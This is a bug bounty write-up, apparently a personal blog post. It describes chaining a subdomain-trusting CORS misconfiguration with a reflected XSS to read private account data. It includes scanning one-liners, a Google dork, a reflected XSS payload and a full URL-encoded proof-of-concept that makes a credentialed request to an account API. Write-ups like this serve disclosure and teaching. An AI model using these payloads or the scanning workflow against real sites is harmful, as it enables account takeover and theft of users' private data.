Chaining CORS by Reflected xss to Account takeover #My first Blog

Santosh Kumar Sha (@killmongar1996)

3 min readDec 26, 2020

Hi, everyone

My name is Santosh Kumar Sha, I’m a security researcher from India(Assam). In this article, I will be describing how I was able to exploit a CORS misconfiguration by chaining it with Reflected xss to leak private information and ultimately taking over the account.

I am now offering 1:1 sessions to share my knowledge and expertise:
topmate.io/santosh_kumar_sha

TIP For looking for CORS bug:

Here is my workflow how i look for CORS bug.

First:

Spider the the host by Burpsuite. I like to used old version for burpsuite for spider .After spider the host copy all url and saved it in text file.

cat corstexturl.txt | CorsMe

cat corstexturl.txt | soru -u | anew | xargs -n 1 -I{} curl -sk -H “Origin: test.com” | grep “Access-control-allow-origin: test.com”

cat corstexturl.txt | soru -u | anew |while read host do ; do curl -s — path-as-is — insecure -H “Origin: test.com” “$host” | grep -qs “Access-control-allow-origin: test.com” && echo “$host \033[0;31m” cors Vulnerable;done

Case#1

Vulnerable Endpoint

About a week ago, I was hacking this public bug bounty program, . After playing with the Origin header in the HTTP request, then inspecting server response to check if they do domains whitelist check or not, I noticed that the application is blindly whitelisting only the subdomains, even non-existing ones.

For privacy reasons and the responsible disclosure policy, let’s assume that the web application is hosted in: www.attacker.com

This CORS misconfiguration looks something like this:

HTTP Request:

GET /api/return HTTP/1.1
Host: www.attacker.com
Origin: evil.attacker.com
Connection: close

HTTP Response:

HTTP/1.1 200 OK
Access-control-allow-credentials: true
Access-control-allow-origin: evil.attacker.com

This API endpoint was returning the user’s private information, like full name, email address,password, passport number , bank detail …etc

To abuse this misconfiguration so we can perform an attack, like leaking users’ private information, we need either to claim an abandoned subdomain (Subdomain Takeover), or find an XSS in one of the existing subdomains.

Chaining the bug for higher impact:

CASE#2

So I decided to go for the second option, finding an XSS in one of the existing subdomains.

I quick done some google dorking and found an Reflected xss in one of subdomain supposed test.attacker.com. Here is google dork i was used for finding xss.

site:*.attacker.com -www ext:jsp

Then I,open the url and in the source page search for hidden and var string and look if the reflect to not.

Once I found that the reflected xss on there subdomain it became easy for exploit it.

https://test.attacker.com/patter.jsp?acct="><script>alert(document.domain)</script>

Time to create a nice Proof of Concept, and submit a report

POC time :

So to exploit this CORS Misconfiguration we just need to replace the XSS payload alert(document.domain), with the following code:

function cors() {  
var xhttp = new XMLHttpRequest();  
xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
};  
xhttp.open("GET", "https://www.attacker.com/api/account", true);  
xhttp.withCredentials = true;  
xhttp.send();
}
cors();

Like This :

https://test.attacker.com/patter.jsp?facct="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.attacker.com/api/account",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>

And BOOM, we now have a nice PoC for private information leaked:

Takeaway

I’m sure that a lot of security researcher had already been in such situation, and you can find lots of report in HackerOne describing this type of CORS misconfiguration, but only a few were able to fully exploited it, due to lack of a PoC in their report.

That’s one of the reasons why I wanted to share my experience. also to highlight other techniques to exploit such vulnerability.

Timeline

Reported on 10/12/2020

Triage on 12/12/2020

Reward 0n 13/12/2020

Support me if you like my work! Buy me a coffee and Follow me on Twitter.